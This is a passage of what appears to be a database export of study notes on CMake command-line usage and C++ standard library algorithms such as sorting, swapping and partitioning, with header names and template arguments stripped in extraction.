2024-07-28 09:59:08.900345 0 +1347 291 cmake -L[A][H] code txt 2024-07-28 09:59:09.276342 0 +1348 291 Such a list will contain cache variables that aren't marked as `ADVANCED`. We\ncan change that by adding the `A` modifier. text txt 2024-07-28 09:59:09.296696 0 +1349 291 To print help messages with variables, add the `H` modifier. text txt 2024-07-28 09:59:09.317305 0 +1350 291 Custom variables that are added manually with the `-D` option won't be\nvisible unless you specify one of the supported types. text txt 2024-07-28 09:59:09.338125 0 +1351 292 cmake -U code txt 2024-07-28 09:59:09.604411 0 +1352 292 Here, the globbing expression supports the `*` wildcard and any `?` character\nsymbols. Both of the `-U` and `-D` options can be repeated multiple times. text txt 2024-07-28 09:59:09.624951 0 +1353 293 cmake --system-information [file] code txt 2024-07-28 09:59:09.919434 0 +1354 293 The optional file argument allows you to store the output in a file. text txt 2024-07-28 09:59:09.939217 0 +1355 293 Running it in the build tree directory will print additional information\nabout the cache variables and build messages from the log files. text txt 2024-07-28 09:59:09.959559 0 +1356 294 By default, the log level is `STATUS`. text txt 2024-07-28 09:59:10.393597 0 +1357 294 cmake --log-level= code txt 2024-07-28 09:59:10.414669 0 +1358 294 Here, level can be any of the following: text txt 2024-07-28 09:59:10.435413 0 +1359 294 * `ERROR`\n* `WARNING`\n* `NOTICE`\n* `STATUS`\n* `VERBOSE`\n* `DEBUG`\n* `TRACE` text txt 2024-07-28 09:59:10.455995 0 +1360 295 You can specify this setting permanently in the `CMAKE_MESSAGE_LOG_LEVEL`\ncache variable. text txt 2024-07-28 09:59:10.642577 0 +1361 296 To debug very complex projects, the `CMAKE_MESSAGE_CONTEXT` variable can be\nused like a stack. Whenever your code enters a specific context, you can add\na descriptive name to the stack and remove it when leaving. By doing this,\nour messages will be decorated with the current `CMAKE_MESSAGE_CONTEXT`\nvariable like so: text txt 2024-07-28 09:59:11.121332 0 +1362 296 ```\n[some.context.example] Debug message\n`````` text txt 2024-07-28 09:59:11.142176 0 +1363 296 The option to enable this kind of log output is as follows: text txt 2024-07-28 09:59:11.162733 0 +1364 296 cmake --log-context code txt 2024-07-28 09:59:11.183803 0 +1365 297 If all logging options fail there is always trace mode. text txt 2024-07-28 09:59:11.507548 0 +1366 297 Trace mode will print every command with the filename and exact line number\nit is called from alongside its arguments. text txt 2024-07-28 09:59:11.528677 0 +1367 297 cmake --trace code txt 2024-07-28 09:59:11.54916 0 +1368 298 Developers can simplify how users interact with their projects and provide a\n`CMakePresets.json` file that specifies some defaults. text txt 2024-07-28 09:59:11.736447 0 +1369 299 cmake --list-presets code txt 2024-07-28 09:59:11.941564 0 +1370 300 cmake --preset= code txt 2024-07-28 09:59:12.218153 0 +1371 300 These values override the system defaults and the environment. However, at\nthe same time, they can be overridden with any arguments that are explicitly\npassed on the command line. text txt 2024-07-28 09:59:12.238347 0 +1372 301 cmake --build [] [-- ] code txt 2024-07-28 09:59:12.457823 0 +1373 302 CMake allows you to specify key build parameters that work for every builder.\nIf you need to provide special arguments to your chosen, native builder, pass\nthem at the end of the command after the `--` token. text txt 2024-07-28 09:59:12.795687 0 +1374 302 cmake --build -- code txt 2024-07-28 09:59:12.816058 0 +1375 303 Builders know the structure of project dependencies, so they can\nsimultaneously process steps that have their dependencies met to save time. text txt 2024-07-28 09:59:13.157154 0 +1376 303 cmake --build --parallel []\ncmake --build -j [] code txt 2024-07-28 09:59:13.178109 0 +1377 303 The alternative is to set it with the `CMAKE_BUILD_PARALLEL_LEVEL`\nenvironment variable. text txt 2024-07-28 09:59:13.199248 0 +1378 304 Every project is made up of one or more parts, called targets. Usually, we'll\nwant to build all of them; However, on occasion, we might be interested in\nskipping some or explicitly building a target that was deliberately excluded\nfrom normal builds. text txt 2024-07-28 09:59:13.525019 0 +1379 304 cmake --build --target -t ... code txt 2024-07-28 09:59:13.544588 0 +1380 305 cmake --build -t clean\ncmake --build --target clean code txt 2024-07-28 09:59:13.778123 0 +1381 306 cmake --build --clean-first code txt 2024-07-28 09:59:14.03436 0 +1382 307 cmake --build --verbose\ncmake --build -v code txt 2024-07-28 09:59:14.318225 0 +1383 307 The same effect can be achieved by setting the `CMAKE_VERBOSE_MAKEFILE`\ncached variable. text txt 2024-07-28 09:59:14.340497 0 +1384 308 cmake --install [] code txt 2024-07-28 09:59:14.550273 0 +1385 309 We can specify which build type we want to use for our installation. The\navailable types include: text txt 2024-07-28 09:59:14.912506 0 +1386 309 * `Debug`\n* `Release`\n* `MinSizeRel`\n* `RelWithDebInfo` text txt 2024-07-28 09:59:14.934652 0 +1387 309 cmake --install --config code txt 2024-07-28 09:59:14.95588 0 +1388 310 As a developer, you might choose to split your project into components that\ncan be installed independently. This might be something like application,\ndocs, and extra-tools. text txt 2024-07-28 09:59:15.257656 0 +1390 311 If installation is carried on a Unix-like platform, you can specify default\npermissions for the installed directories, with the following option, using\nthe format of `u=rwx,g=rx,o=rx`: text txt 2024-07-28 09:59:15.595301 0 +1391 311 cmake --install   --default-directory-permissions code txt 2024-07-28 09:59:15.616052 0 +1392 312 We can prepend the installation path specified in the project configuration\nwith a prefix of our choice: text txt 2024-07-28 09:59:15.884579 0 +1393 312 cmake --install --prefix code txt 2024-07-28 09:59:15.906205 0 +1394 313 cmake --build -v\ncmake --build --verbose code txt 2024-07-28 09:59:16.249541 0 +1395 313 The same effect can be achieved if the `VERBOSE` environment variable is set. text txt 2024-07-28 09:59:16.271005 0 +1396 313 VERBOSE=1 cmake --build code txt 2024-07-28 09:59:16.291769 0 +1397 314 cmake -D = -P -- ... code txt 2024-07-28 09:59:16.498094 0 +1398 315 There are two ways you can pass values to scripts: text txt 2024-07-28 09:59:16.886953 0 +1399 315 * Through variables defined with the `-D` option.\n* Through arguments that can be passed after a `--` token. text txt 2024-07-28 09:59:16.908078 0 +1400 315 cmake [{-D =}...] -P   [-- ...]\ncmake -D CMAKE_BUILD_TYPE=Release -P script.cmake  -- --verbose code txt 2024-07-28 09:59:16.928742 0 +1401 315 CMake will create `CMAKE_ARGV` variables for all arguments passed to the\nscript (including the `--` token). text txt 2024-07-28 09:59:16.948939 0 +1402 316 On rare occasions, we might need to run a single command in a\nplatform-independent way – perhaps copy a file or compute a checksum. text txt 2024-07-28 09:59:17.252291 0 +1403 316 cmake -E [] code txt 2024-07-28 09:59:17.272776 0 +1404 317 cmake -E code txt 2024-07-28 09:59:17.519948 0 +1405 318 cmake ––help[-]\ncmake --help-commands file code txt 2024-07-28 09:59:17.769815 0 +1406 319 The simplest way to run tests for a built project is to call ctest in the\ngenerated build tree: text txt 2024-07-28 09:59:18.037095 0 +1407 319 ctest code txt 2024-07-28 09:59:18.057226 0 +1408 320 Files that contain the CMake language are called listfiles and can be\nincluded one in another, by calling `include()` and `find_package()`, or\nindirectly with `add_subdirectory()` text txt 2024-07-28 09:59:18.519192 0 +1409 320 CMake projects are configured with `CMakeLists.txt` listfiles. text txt 2024-07-28 09:59:18.540508 0 +1410 320 It should contain at least two commands: text txt 2024-07-28 09:59:18.561495 0 +1411 320 cmake_minimum_required(VERSION )\nproject( ) code txt 2024-07-28 09:59:18.583282 0 +1412 320 We also have an `add_subdirectory(api)` command to include another\n`CMakeListst.txt` file from the api directory to perform steps that are\nspecific to the API part of our application. text txt 2024-07-28 09:59:18.603647 0 +1413 321 Users can choose presets through the GUI or use the command line to\n`--list-presets` and select a preset for the buildsystem with the\n`--preset=` option. text txt 2024-07-28 09:59:18.829881 0 +1414 322 Not that many: a script can be as complex as you like or an empty file.\nHowever, it is recommended that you call the `cmake_minimum_required()`\ncommand at the beginning of the script. This command tells CMake which\npolicies should be applied to subsequent commands in this project text txt 2024-07-28 09:59:19.135655 0 +1415 322 When running scripts, CMake won't execute any of the usual stages (such as\nconfiguration or generation), and it won't use the cache. text txt 2024-07-28 09:59:19.156908 0 +1416 323 Since there is no concept of a source/build tree in scripts, variables that\nusually hold references to these paths will contain the current working\ndirectory instead: `CMAKE_BINARY_DIR`, `CMAKE_SOURCE_DIR`,\n`CMAKE_CURRENT_BINARY_DIR`, and `CMAKE_CURRENT_SOURCE_DIR`. text txt 2024-07-28 09:59:19.379449 0 +1417 324 To use a utility module, we need to call an `include()` command. text txt 2024-07-28 09:59:19.572946 0 +1418 325 #include \n#include text txt 2024-07-28 09:59:37.446672 0 +1419 325 template\nstruct sum_predicate\n{\n S count;\n T sum;\n void operator()(T const& e)\n {\n count++;\n sum += e;\n }\n}; text txt 2024-07-28 09:59:37.468002 0 +1420 325 int main()\n{\n std::vector numbers{1, 2, 3, 4, 5};\n auto [count, sum] = std::for_each(numbers.begin(), numbers.end(), sum_predicate{});\n // count: 5, sum: 15\n} code txt 2024-07-28 09:59:37.489835 0 +1421 326 #include \n#include text txt 2024-07-28 09:59:37.912887 0 +1422 326 int main()\n{\n std::size_t count{};\n long sum{};\n std::vector numbers{1, 2, 3, 4, 5};\n std::for_each(numbers.begin(), numbers.end(), [&](auto const& e){ count++; sum += e; });\n // count: 5, sum: 15\n} code txt 2024-07-28 09:59:37.934079 0 +1423 327 Note that variables are now shared state and need to be `std::atomic<>` or protected by a `std::mutex<>`. text txt 2024-07-28 09:59:38.455814 0 +1424 327 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:38.476001 0 +1425 327 int main()\n{\n std::atomic count{};\n std::atomic sum{};\n std::vector numbers{1, 2, 3, 4, 5};\n std::for_each(std::execution::par_unseq, numbers.begin(), numbers.end(), [&](auto const& e){ count++; sum += e; });\n // count: 5, sum: 15\n} code txt 2024-07-28 09:59:38.49745 0 +1426 328 #include \n#include \n#include text txt 2024-07-28 09:59:38.948898 0 +1427 328 int main()\n{\n std::size_t count{};\n long sum{};\n std::vector numbers{1, 2, 3, 4, 5};\n std::ranges::for_each(numbers, [&](auto const& e){ count++; sum += e; });\n // count: 5, sum: 15\n} code txt 2024-07-28 09:59:38.969605 0 +1428 329 A *range* is then denoted by a pair of *iterators*, or more generally, since C++20, an *iterator* and a *sentinel*. text txt 2024-07-28 09:59:40.03188 0 +1429 329 To reference the entire content of a data structure, we can use the `begin()` and `end()` methods that return an iterator to the first element and an iterator one past the last element, respectively.\nHence, the range [begin, end) contains all data structure elements. text txt 2024-07-28 09:59:40.053628 0 +1430 329 #include \n#include \n#include text txt 2024-07-28 09:59:40.074336 0 +1431 329 int main()\n{\n std::vector numbers{1,2,3,4,5}; text txt 2024-07-28 09:59:40.094302 0 +1432 329 auto iter1 = numbers.begin();\n auto iter2 = numbers.end(); text txt 2024-07-28 09:59:40.114991 0 +1433 329 std::for_each(iter1, iter2, [](auto e) { std::cout << e << " "; });\n} code txt 2024-07-28 09:59:40.136098 0 +1434 329 Sentinels follow the same idea. However, they do not need to be of an iterator type.\nInstead, they only need to be comparable to an iterator.\nThe exclusive end of the range is then the first iterator that compares equal to the sentinel. text txt 2024-07-28 09:59:40.156917 0 +1435 329 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:40.177463 0 +1436 329 template\nstruct sentinel\n{\n using iter_t = typename std::vector::iterator;\n iter_t begin;\n std::iter_difference_t count;\n bool operator==(iter_t const& other) const { return std::distance(begin, other) >= count; }\n}; text txt 2024-07-28 09:59:40.199659 0 +2401 552 template\nclass Stack; code txt 2024-07-28 10:02:13.529971 0 +1437 329 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::vector::iterator iter = numbers.begin();\n std::ranges::for_each(iter, sentinel{iter, 3}, [](auto e) { std::cout << e << " "; });\n} code txt 2024-07-28 09:59:40.220475 0 +1438 330 #include \n#include \n#include text txt 2024-07-28 09:59:40.832086 0 +1439 330 int main()\n{\n std::vector random_access{1,2,3,4,5};\n std::list bidirectional{1,2,3,4,5}; text txt 2024-07-28 09:59:40.854197 0 +1440 330 auto random_access_iterator = random_access.begin();\n random_access_iterator += 3; // OK\n random_access_iterator++; // OK\n ssize_t random_difference = random_access_iterator - random_access.begin(); // OK: 4 text txt 2024-07-28 09:59:40.874647 0 +1441 330 auto bidirectional_iterator = bidirectional.begin();\n //bidirectional_iterator += 5; // ERROR\n std::advance(bidirectional_iterator, 3); // OK\n bidirectional_iterator++; // OK, all iterators provide advance operation\n //ssize_t bidirectional_difference = bidirectional_iterator - bidirectional.begin(); // ERROR\n ssize_t bidirectional_difference = std::distance(bidirectional.begin(), bidirectional_iterator); // OK: 4\n} code txt 2024-07-28 09:59:40.895484 0 +1442 331 The benefit of thinking about the returned value as the end iterator of a range is that it removes the potential for corner cases. text txt 2024-07-28 09:59:41.418384 0 +1443 331 #include \n#include \n#include text txt 2024-07-28 09:59:41.43819 0 +1444 331 int main()\n{\n std::vector in{1,2,3,4,5,6,7,8,9,10};\n std::vector out(10, 0); text txt 2024-07-28 09:59:41.459393 0 +1445 331 std::copy(in.begin(), in.end(), out.begin());\n // output range is implied as: std::next(out.begin(), std::distance(in.begin(), in.end()));\n} code txt 2024-07-28 09:59:41.481538 0 +1446 332 #include \n#include \n#include text txt 2024-07-28 09:59:42.064486 0 +1447 332 int main()\n{\n std::vector numbers{1,2,3,4,5}; text txt 2024-07-28 09:59:42.085908 0 +1448 332 auto last_sorted = std::is_sorted_until(numbers.begin(), numbers.end()); text txt 2024-07-28 09:59:42.106673 0 +1449 332 for (auto iter = numbers.begin(); iter != last_sorted; ++iter)\n continue; text txt 2024-07-28 09:59:42.127611 0 +1450 332 for (auto v: std::ranges::subrange(numbers.begin(), last_sorted))\n continue;\n} code txt 2024-07-28 09:59:42.147476 0 +1451 332 What if the algorithm doesn’t find any element out of order as a corner case?\nThe returned value will be the end iterator of the source range, meaning that the range returned is simply the entire source range. text txt 2024-07-28 09:59:42.169323 0 +1452 333 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:42.749422 0 +1453 333 The C++11 standard introduced the range-based for loop, which mostly replaced the uses of `std::for_each`. text txt 2024-07-28 09:59:42.769505 0 +1454 333 #include \n#include text txt 2024-07-28 09:59:42.78944 0 +1455 333 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::size_t sum{};\n std::for_each(numbers.begin(), numbers.end(), [&sum](auto const e) { sum += e; });\n for (auto e: numbers) { sum += e; }\n} code txt 2024-07-28 09:59:42.810432 0 +1456 334 As long as the operations are independent, there is no need for synchronization primitives. text txt 2024-07-28 09:59:43.696776 0 +1457 334 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:43.717023 0 +1458 334 struct work\n{\n void expensive_operation() { /* ... */ }\n}; text txt 2024-07-28 09:59:43.737282 0 +1459 334 int main()\n{\n std::vector work_pool{work{}, work{}, work{}};\n std::for_each(std::execution::par_unseq, work_pool.begin(), work_pool.end(), [](work& w) { w.expensive_operation(); });\n} code txt 2024-07-28 09:59:43.758556 0 +1460 334 When synchronization is required, operations need to be atmoic. text txt 2024-07-28 09:59:43.778606 0 +1461 334 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:43.798657 0 +1462 334 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::atomic sum{};\n std::for_each(std::execution::par_unseq, numbers.begin(), numbers.end(), [&sum](auto& e) { sum += e; });\n} code txt 2024-07-28 09:59:43.819814 0 +1463 335 #include \n#include \n#include text txt 2024-07-28 09:59:44.403807 0 +1464 335 struct work_unit\n{\n size_t value;\n work_unit(size_t initial): value{std::move(initial)} {}\n size_t current() const { return value; }\n}; text txt 2024-07-28 09:59:44.424947 0 +1465 335 int main()\n{\n size_t sum{};\n std::vector tasks{1,2,3};\n std::ranges::for_each(tasks, [&sum](auto const& e) { sum += e; }, &work_unit::current);\n // sum: 6\n} code txt 2024-07-28 09:59:44.44562 0 +1466 336 | feature | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:45.063186 0 +1467 336 While `std::for_each` operates on the entire range, the interval $[begin, end)$, `std::for_each_n` operates on the range $[first, first + n)$. text txt 2024-07-28 09:59:45.082946 0 +1468 336 #include \n#include text txt 2024-07-28 09:59:45.104699 0 +1469 336 int main()\n{\n std::vector numbers{1,2,3,4,5,6};\n std::size_t sum{};\n std::for_each_n(numbers.begin(), 3, [&sum](auto const& e) { sum += e; });\n // sum = 6\n} code txt 2024-07-28 09:59:45.126326 0 +1470 336 Importantly, because the algorithm does not have access to the end iterator of the source range, it does no out-of-bounds checking, and it is the responsibility of the caller to ensure that the range $[first, first + n)$ is valid. text txt 2024-07-28 09:59:45.14786 0 +1471 337 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:45.790464 0 +1472 337 Correctly calling swap requires pulling the default std::swap version to the local scope. text txt 2024-07-28 09:59:45.811566 0 +1473 337 #include text txt 2024-07-28 09:59:45.832204 0 +1474 337 namespace library\n{\n struct container { long value; };\n} text txt 2024-07-28 09:59:45.852856 0 +1475 337 int main()\n{\n library::container a{3}, b{4};\n std::ranges::swap(a, b); // first calls library::swap\n // then it calls the default move-swap\n} code txt 2024-07-28 09:59:45.873335 0 +1476 338 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:46.561469 0 +1477 338 The `std::iter_swap` is an indirect swap, swapping values behind two forward iterators. text txt 2024-07-28 09:59:46.583457 0 +1478 338 #include \n#include text txt 2024-07-28 09:59:46.604828 0 +1479 338 int main()\n{\n auto p1 = std::make_unique(1);\n auto p2 = std::make_unique(2); text txt 2024-07-28 09:59:46.624914 0 +1480 338 int *p1_pre = p1.get();\n int *p2_pre = p2.get(); text txt 2024-07-28 09:59:46.646772 0 +1481 338 std::ranges::swap(p1, p2);\n // p1.get() == p1_pre, *p1 == 2\n // p2.get() == p2_pre, *p2 == 1\n} code txt 2024-07-28 09:59:46.667347 0 +1482 339 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:47.191202 0 +1483 339 #include \n#include text txt 2024-07-28 09:59:47.212849 0 +1484 339 int main()\n{\n std::vector numbers{1,2,3,4,5,6};\n std::swap_ranges(numbers.begin(), numbers.begin()+2, numbers.rbegin());\n // numbers: {6,5,3,4,2,1}\n} code txt 2024-07-28 09:59:47.234129 0 +1485 340 Implementing a `strict_weak_ordering` for a custom type, at minimum requires providing an overload of `operator<`. text txt 2024-07-28 09:59:48.163266 0 +1486 340 A good default for a `strict_weak_ordering` implementation is *lexicographical ordering*. text txt 2024-07-28 09:59:48.184156 0 +1487 340 Since C++20 introduced the spaceship operator, user-defined types can easily access the default version of *lexicographical ordering*. text txt 2024-07-28 09:59:48.208091 0 +1488 340 struct Point {\n int x;\n int y; text txt 2024-07-28 09:59:48.229232 0 +1489 340 // pre-C++20 lexicographical less-than\n friend bool operator<(const Point& left, const Point& right)\n {\n if (left.x != right.x)\n return left.x < right.x;\n return left.y < right.y;\n } text txt 2024-07-28 09:59:48.251009 0 +1490 340 // default C++20 spaceship version of lexicographical comparison\n friend auto operator<=>(const Point&, const Point&) = default; text txt 2024-07-28 09:59:48.27181 0 +1491 340 // manual version of lexicographical comparison using operator <=>\n friend auto operator<=>(const Point& left, const Point& right)\n {\n if (left.x != right.x)\n return left.x <=> right.x;\n return left.y <=> right.y;\n }\n}; code txt 2024-07-28 09:59:48.292805 0 +1492 340 The type returned for the spaceship operator is the common comparison category type for the bases and members, one of: text txt 2024-07-28 09:59:48.31301 0 +1493 340 * `std::strong_ordering`\n* `std::weak_ordering`\n* `std::partial_ordering` text txt 2024-07-28 09:59:48.333331 0 +1494 341 Lexicographical `strict_weak_ordering` for ranges is exposed through the `std::lexicographical_compare` algorithm. text txt 2024-07-28 09:59:49.518704 0 +1495 341 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:49.539787 0 +1496 341 #include \n#include text txt 2024-07-28 09:59:49.561313 0 +1497 341 int main()\n{\n std::vector range1{1, 2, 3};\n std::vector range2{1, 3};\n std::vector range3{1, 3, 1}; text txt 2024-07-28 09:59:49.581171 0 +1498 341 bool cmp1 = std::lexicographical_compare(range1.cbegin(), range1.cend(), range2.cbegin(), range2.cend());\n // same as\n bool cmp2 = range1 < range2;\n // cmp1 = cmp2 = true text txt 2024-07-28 09:59:49.60174 0 +1499 341 bool cmp3 = std::lexicographical_compare(range2.cbegin(), range2.cend(), range3.cbegin(), range3.cend());\n // same as\n bool cmp4 = range2 < range3;\n // cmp3 = cmp4 = true\n} code txt 2024-07-28 09:59:49.623329 0 +1500 341 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:49.645863 0 +1501 341 int main()\n{\n std::vector range1{"Zoe", "Alice"};\n std::vector range2{"Adam", "Maria"};\n auto compare_length = [](auto const& l, auto const& r) { return l.length() < r.length(); }; text txt 2024-07-28 09:59:49.667422 0 +1502 341 bool cmp1 = std::ranges::lexicographical_compare(range1, range2, compare_length);\n // different than\n bool cmp2 = range1 < range2;\n // cmp1 = true, cmp2 = false\n} code txt 2024-07-28 09:59:49.688714 0 +1503 342 | feature | standard |\n| --- | --- |\n| introduced | C++20 |\n| constexpr | C++20 |\n| paralllel | N/A |\n| rangified | N/A | text txt 2024-07-28 09:59:50.555282 0 +1504 342 The `std::lexicographical_compare_three_way` is the spaceship operator equivalent to `std::lexicographical_compare`.\nIt returns one of: text txt 2024-07-28 09:59:50.576798 0 +1505 342 * `std::strong_ordering`\n* `std::weak_ordering`\n* `std::partial_ordering` text txt 2024-07-28 09:59:50.596542 0 +1506 342 The type depends on the type returned by the elements’ spaceship operator. text txt 2024-07-28 09:59:50.616875 0 +1507 342 #include \n#include \n#include text txt 2024-07-28 09:59:50.638269 0 +1508 342 int main()\n{\n std::vector numbers1{1, 1, 1};\n std::vector numbers2{1, 2, 3}; text txt 2024-07-28 09:59:50.658987 0 +1509 342 auto cmp1 = std::lexicographical_compare_three_way(numbers1.cbegin(), numbers1.cend(), numbers2.cbegin(), numbers2.cend());\n // cmp1 = std::strong_ordering::less text txt 2024-07-28 09:59:50.680707 0 +1510 342 std::vector strings1{"Zoe", "Alice"};\n std::vector strings2{"Adam", "Maria"}; text txt 2024-07-28 09:59:50.702209 0 +1511 342 auto cmp2 = std::lexicographical_compare_three_way(strings1.cbegin(), strings1.cend(), strings2.cbegin(), strings2.cend());\n // cmp2 = std::strong_ordering::greater\n} code txt 2024-07-28 09:59:50.724251 0 +1512 343 The `std::sort` algorithm is the canonical `O(N log N)` sort (typically implemented as *intro-sort*). text txt 2024-07-28 09:59:50.950843 0 +1513 343 Due to the `O(n log n)` complexity guarantee, `std::sort` only operates on `random_access` ranges.\nNotably, `std::list` offers a method with an approximate `O(N log N)` complexity. text txt 2024-07-28 09:59:50.97081 0 +1514 344 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:51.811476 0 +1515 344 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:51.833083 0 +1516 344 struct Account\n{\n long value() { return value_; }\n long value_;\n}; text txt 2024-07-28 09:59:51.852954 0 +1517 344 int main()\n{\n std::vector series1{6,2,4,1,5,3};\n std::sort(series1.begin(), series1.end()); text txt 2024-07-28 09:59:51.873761 0 +1518 344 std::list series2{6,2,4,1,5,3};\n //std::sort(series2.begin(), series2.end()); // won't compile\n series2.sort(); text txt 2024-07-28 09:59:51.89547 0 +1519 344 // With C++20, we can take advantage of projections to sort by a method or member\n std::vector accounts{{6},{2},{4},{1},{5},{3}};\n std::ranges::sort(accounts, std::greater<>{}, &Account::value);\n} code txt 2024-07-28 09:59:51.916663 0 +1520 345 The `std::sort` is free to re-arrange equivalent elements, which can be undesirable when re-sorting an already sorted range.\nThe `std::stable_sort` provides the additional guarantee of preserving the relative order of equal elements. text txt 2024-07-28 09:59:52.794982 0 +1521 345 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 09:59:52.816539 0 +1522 345 If additional memory is available, `stable_sort` remains `O(n log n)`.\nHowever, if it fails to allocate, it will degrade to an `O(n log n log n)` algorithm. text txt 2024-07-28 09:59:52.837275 0 +1523 345 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:52.858732 0 +1524 345 struct Record\n{\n std::string label;\n short rank;\n}; text txt 2024-07-28 09:59:52.878564 0 +1525 345 int main()\n{\n std::vector records{{"b", 2}, {"e", 1}, {"c", 2}, {"a", 1}, {"d", 3}}; text txt 2024-07-28 09:59:52.898988 0 +1526 345 std::ranges::stable_sort(records, {}, &Record::label);\n // guaranteed order: a-1, b-2, c-2, d-3, e-1 text txt 2024-07-28 09:59:52.920309 0 +1527 345 std::ranges::stable_sort(records, {}, &Record::rank);\n // guaranteed order: a-1, e-1, b-2, c-2, d-3\n} code txt 2024-07-28 09:59:52.94076 0 +3570 845 code txt 2024-07-28 10:05:09.013418 0 +1528 346 | feature | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:53.611244 0 +1529 346 #include \n#include \n#include text txt 2024-07-28 09:59:53.631819 0 +1530 346 int main()\n{\n std::vector data1 = {1, 2, 3, 4, 5};\n bool test1 = std::is_sorted(data1.begin(), data1.end());\n // test1 == true text txt 2024-07-28 09:59:53.651553 0 +1531 346 std::vector data2 = {5, 4, 3, 2, 1};\n bool test2 = std::ranges::is_sorted(data2);\n // test2 == false text txt 2024-07-28 09:59:53.67269 0 +1532 346 bool test3 = std::ranges::is_sorted(data2, std::greater<>{});\n // test3 == true\n} code txt 2024-07-28 09:59:53.693531 0 +1533 347 | feature | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:54.248743 0 +1534 347 #include \n#include \n#include text txt 2024-07-28 09:59:54.269042 0 +1535 347 int main()\n{\n std::vector numbers{1,2,3,6,5,4};\n auto iter = std::ranges::is_sorted_until(numbers);\n // *iter = 6\n} code txt 2024-07-28 09:59:54.29028 0 +1536 348 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:54.990225 0 +1537 348 The `std::partial_sort` algorithm reorders the range’s elements such that the leading sub-range is in the same order it would when fully sorted.\nHowever, the algorithm leaves the rest of the range in an unspecified order. text txt 2024-07-28 09:59:55.011084 0 +1538 348 #include \n#include \n#include text txt 2024-07-28 09:59:55.032429 0 +1539 348 int main()\n{\n std::vector data{9, 8, 7, 6, 5, 4, 3, 2, 1}; text txt 2024-07-28 09:59:55.052628 0 +1540 348 std::partial_sort(data.begin(), data.begin()+3, data.end());\n // data == {1, 2, 3, -unspecified order-} text txt 2024-07-28 09:59:55.072858 0 +1541 348 std::ranges::partial_sort(data, data.begin()+3, std::greater<>());\n // data == {9, 8, 7, -unspecified order-}\n} code txt 2024-07-28 09:59:55.093296 0 +1542 348 The benefit of using a partial sort is faster runtime — approximately `O(N log K)`, where `K` is the number of elements sorted. text txt 2024-07-28 09:59:55.113978 0 +1543 349 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:55.825832 0 +1544 349 The `std::partial_sort_copy` algorithm has the same behaviour as `std::partial_sort`; however, it does not operate inline.\nInstead, the algorithm writes the results to a second range. text txt 2024-07-28 09:59:55.846311 0 +1545 349 #include \n#include \n#include text txt 2024-07-28 09:59:55.867112 0 +1546 349 int main()\n{\n std::vector top(3); text txt 2024-07-28 09:59:55.887855 0 +1547 349 // input == "0 1 2 3 4 5 6 7 8 9"\n auto input = std::istream_iterator(std::cin);\n auto cnt = std::counted_iterator(input, 10); text txt 2024-07-28 09:59:55.908433 0 +1548 349 std::ranges::partial_sort_copy(cnt, std::default_sentinel, top.begin(), top.end(), std::greater<>{});\n // top == { 9, 8, 7 }\n} code txt 2024-07-28 09:59:55.929726 0 +1549 350 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:56.748001 0 +1550 350 The `std::partition` algorithm provides the basic partitioning functionality, reordering elements based on a unary predicate.\nThe algorithm returns the partition point, an iterator to the first element for which the predicate returned `false`. text txt 2024-07-28 09:59:56.769107 0 +1551 350 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:59:56.789722 0 +1552 350 struct ExamResult\n{\n std::string student_name;\n int score;\n}; text txt 2024-07-28 09:59:56.81159 0 +1553 350 int main()\n{\n std::vector results{{"Jane Doe", 84}, {"John Doe", 78}, {"Liz Clarkson", 68}, {"David Teneth", 92}}; text txt 2024-07-28 09:59:56.833093 0 +1554 350 auto partition_point = std::partition(results.begin(), results.end(), [threshold = 80](auto const& e) { return e.score >= threshold; }); text txt 2024-07-28 09:59:56.853197 0 +1555 350 std::for_each(results.begin(), partition_point, [](auto const& e) { std::cout << "[PASSED] " << e.student_name << "\\\\n"; });\n std::for_each(partition_point, results.end(), [](auto const& e) { std::cout << "[FAILED] " << e.student_name << "\\\\n"; });\n} code txt 2024-07-28 09:59:56.87444 0 +1556 351 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 09:59:57.364589 0 +1557 351 The `std::partition` algorithm is permitted to rearrange the elements with the only guarantee that elements for 